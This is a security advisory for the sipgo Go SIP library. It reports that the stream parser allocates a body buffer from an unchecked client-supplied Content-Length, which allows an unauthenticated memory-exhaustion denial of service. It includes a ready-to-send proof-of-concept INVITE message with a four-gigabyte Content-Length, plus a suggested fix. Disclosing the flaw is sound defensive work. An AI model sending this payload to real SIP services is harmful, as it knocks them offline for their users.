emiago/sipgo · Security
SIPGO: DoS via unvalidated Content-Length in the stream parser
- GHSA ID
- GHSA-pg59-5vwg-4jxq
- CVE ID
- CVE-2026-58268
- Severity
- high
- Published
- Updated
- CVSS
- 7.5 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- CVSS v3
- 7.5 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Description
Summary
The stream parser allocates the SIP body buffer from the Content-Length header before validating its size, which can lead to an unauthenticated DoS.
Details
ParserStream.parseSingle allocates the body buffer from the declared Content-Length with no size check (https://github.com/emiago/sipgo/blob/v1.4.0/sip/parser_stream.go#L195):
body := make([]byte, contentLength) // contentLength is client-controlled, up to 2^32-1 (uint32)
The ParseMaxMessageLength (65535) check is in the caller ParseNext (https://github.com/emiago/sipgo/blob/v1.4.0/sip/parser_stream.go#L132), and only runs after parseSingle has already allocated the buffer.
PoC
Tested on emiago/sipgo v1.4.0 (latest).
Send a single message with a large Content-Length and no body to a SIP server:
INVITE sip:[email protected] SIP/2.0
Via: SIP/2.0/TCP attacker.example;branch=z9hG4bK1
From: <sip:[email protected]>;tag=1
To: <sip:[email protected]>
Call-ID: [email protected]
CSeq: 1 INVITE
Content-Length: 4000000000 // <- a large Content-Length
Suggested Fix
Validate contentLength against ParseMaxMessageLength before the allocation.
Impact
Unauthenticated DoS. Any service using sipgo with a stream transport (TCP/TLS/WS/WSS) can be forced to run out of memory.
CWEs
- CWE-789 · Memory Allocation with Excessive Size Value